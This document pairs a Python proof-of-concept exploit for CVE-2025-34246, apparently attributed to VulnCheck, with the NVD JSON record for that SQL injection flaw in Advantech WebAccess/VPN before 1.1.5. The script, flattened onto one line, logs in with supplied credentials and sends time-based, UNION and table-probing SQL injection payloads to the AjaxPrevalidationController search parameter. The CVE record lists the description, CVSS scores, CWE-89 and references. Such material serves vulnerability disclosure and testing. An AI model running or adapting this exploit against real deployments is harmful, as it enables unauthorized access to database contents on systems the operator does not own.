CVE-2025-34246

# CVE-2025-34246 SQL Injection PoC # Target: Advantech WebAccess/VPN < 1.1.5 # Author: VulnCheck import requests import argparse def exploit_sqli(target_url, username, password): """Exploit SQL injection in AjaxPrevalidationController.ajaxAction()""" # Login to get authenticated session login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None print("[+] Login successful") # SQL Injection via datatable search parameter sqli_url = f"{target_url}/AjaxPrevalidationController/ajaxAction" # Blind SQL injection to extract database version # Using time-based blind SQLi technique payloads = [ "test' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- ", "test' UNION SELECT NULL,@@version,NULL-- ", "test' AND (SELECT COUNT(*) FROM users) > 0-- " ] headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}...") data = { "action": "search", "search": payload, "datatable": "user_list" } try: response = session.post(sqli_url, json=data, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}") except requests.exceptions.Timeout: print("[+] SQL Injection confirmed - Time-based blind injection works!") except Exception as e: print(f"[-] Error: {e}") return session if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-34246 SQL Injection PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") args = parser.parse_args() exploit_sqli(args.target, args.username, args.password)

{"cve": {"id": "CVE-2025-34246", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:48.870", "lastModified": "2025-11-28T16:58:55.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a SQL injection vulnerability in AjaxPrevalidationController.ajaxAction() that allows an authenticated low-privileged observer user to inject SQL via datatable search parameters, leading to disclosure of database information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-sqli-via-ajaxprevalidationcontroller", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}